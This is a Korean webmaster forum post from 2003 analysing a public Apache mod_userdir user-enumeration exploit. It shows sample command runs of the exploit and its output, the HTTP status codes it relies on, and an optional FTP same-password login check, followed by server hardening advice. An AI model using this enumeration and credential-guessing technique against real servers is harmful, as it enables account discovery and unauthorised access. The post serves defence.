웹마스터 팁

apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit이 등장했습니다.

여러가지 방법으로 테스트해보다가 아래와 같은 특징을 발견하여서 알려드리고자 합니다.

이번 exploit은 mod_userdir.c를 이용하는 것으로 httpd -l 로 검색해서
mod_userdir.c 모듈이 있으면 이번 공격에 취약합니다.

이 exploit은 일정한 조건과 userlist.txt를 통해서 매치되는 apache서버의
내부 사용자들의 계정을 알아낼수 있습니다.

(이것은 해커에게 좀더 쉽게 공격 대상의 계정 정보를 취득하게 할뿐만 아니라 계정과
동일한 패스워드를 사용하는 사용자가 있다면 그사용자로 인해 root 권한 까지도 빼앗길 수
있는 exploit 입니다.)


하지만 이 exploit은 다음과 같은 특징이 없다면 원격 사용자를 검색해 내지 못합니다.



1. mod_userdir.c가 있을경우에 해당 계정의 디렉토리 밑에 public_html 이 있을 경우에 탐지된다.

=================================

UserDir public_html

-------> 만약 UserDir www 라면 계정밑에 www 디렉토리가 있다면 탐지된다.

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 있을때)
test1 =>
[*] Searching complete.
2 users checked
1 users found

[*] Searching for system accounts...
test => no (계정밑에 public_html이 없을때)
=================================


2. 계정 디렉토리의 밑에 public_html 이 없어도 계정 디렉토리의 권한이 700이면 탐지된다.

=================================
public_html이 없어도 계정이 존재한다면 http 쿼리를 해보면 403 이란 반환
값을 얻을수 있다.

소스에 보면 200, 403, 404 대해서 분류가 되어있는데 그것은 아래와 같이 값
을 얻었을 때 계정의 유무를 판단하기

위한 것이다.

다음은 http 쿼리시 남은 로그이다.

127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test HTTP/1.1" 403 0
-> Forbidden
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test1 HTTP/1.1" 404 0
-> 페이지를 찾을수 없습니다.
127.0.0.1 - - [18/Dec/2003:01:30:54 +0900] "GET /~test/ HTTP/1.1" 200
345 -> 정상적인 동작시

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 없이 계정 디렉토리의 권한이 700 일때)
test1 =>
[*] Searching complete.
2 users checked
1 users found

[*] Searching for system accounts...
test => no (계정의 권한이 700이 아닌 다른것일때 public_html은 없다.)
=================================



3. 계정 디렉토리의 권한이 755 이고, public_html이 존재하면 계정과 패스워
드가 동일하다면 ftp접속가능 여부도 알수있다.

=================================
아래의 test는 디렉토리 권한이 755이고, public_html이 존재하고 계정(test)
과 패스워드(test) 가 동일할때의 결과이다.

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest -b

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes (test란 계정을 찾았고)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Attempting to log on ftp with login:login...
test:test => yes (ftp접속도 가능하다)
[*] Complete.
1 ftp accounts found
================================



위에서도 몇가지 해결책을 알아보았고,

다음과 같은 방법을 통해서도 이번 exploit에 대한 탐지를 막을수 있습니다.

1. 가상호스팅을 이용합니다. (DocumentRoot를 public_html로 주지않고 다른
디렉토리로 주게되면, 탐지를 막을수 있다.)
권한은 700으로 주지 않는다. (물론 웹을 이용할것이므로 700으로 주지는 않
을것이라 생각됨)
---------------------------

ServerAdmin test@manpage.co.kr
DocumentRoot /home/zmnkh/
ServerName test.manpage.co.kr

-----------------------------

2. /etc/passwd 파일을 640등으로 주어 소유자와 그룹소유자만이 읽을수 있도
록 하면 탐지 자체가 되지 않습니다.
-----------------------------
/etc/passwd의 권한을 변경한뒤에 실행

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => no
[-] Exiting...
------------------------------

이때 /etc/passwd 파일을 640으로 해놓았을 경우 에러가 발생할 소지가 있으므로,
passwd를 읽어야 하는 일반 계정의 사용자들이 있을 경우에

/etc/group의 wheel 그룹에 등록하고,

chgrp wheel /etc/passwd 으로 /etc/passwd그룹을 변경하여 사용하면 무리없이
사용할수 있을 것입니다.


사용하기 편한 방법으로 exploit공격에 대비하시면 되겠습니다


출처 : CERTT 메일링(김훈)
제목 글쓴이 날짜
그룹별 회원정보 검색 & 회원의 추가가입폼 복수 검색 팁 (XE 1.5) sejin7940 2012.03.22
업데이트 후 사이트 통함검색이 안되시는 분 보십시오^^ RGM 2012.02.12
[레이아웃관련] 구글검색 달기 file 인터니즈2 2011.11.04
관리툴 회원관리에서 확장변수로 검색 시 숫자 이외 검색불가 해결 방법 카리브 2011.10.10
자체 우편번호 검색DB 사용하기 우진홈 2011.08.11
맞춤형 검색창 만들기 [9] thejeon 2009.05.19
이용자가 댓글을 닉네임으로 검색할순 없나요? [2] gc00 2011.03.04
XE 검색 속도 향상 팁(확장 변수 검색시) [5] 명드래곤 2011.02.26
grep로 하위 폴더내 파일까지 내용 검색하기 fsfsdas 2011.02.20
apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit [2] DearMai 2003.12.27
네이버 openapi 사용하여 쇼핑검색 만들기 [3] 유창화 2006.04.13
네이버 openapi 사용하여 실시간 인기검색어 보여주기 [3] 유창화 2006.04.13
[PHP 동영상강의] 46. 다중검색기 제작해보기 [8] 서기 2006.04.06
[PHP 동영상강의] 45. 우편번호 검색기 제작해보기 [12] 서기 2006.03.30
php 랜덤 이미지 디렉토리 검색으로 편하게.. [3] 꺼노 2003.08.28
이젠 주소검색 편하게쓰자~~~!! (새창띄우지 않습니다) [5] _-=Knight=-_ 2003.03.05
제가 쓰는 mysql 검색알로리즘 입니다. [5] 콩알™ 2002.05.20
[수정본]MP3파일를 검색하여 윈앰프로 실시간 감상하기 제누스 2002.03.28
파일시스템(배열)에서의 검색기능 [5] 두기두바 2002.01.09
자신의 홈페이지에 (검색,사전,로또,주식) 통합버전을 넣어보자. [3] Rising.kr 2008.01.21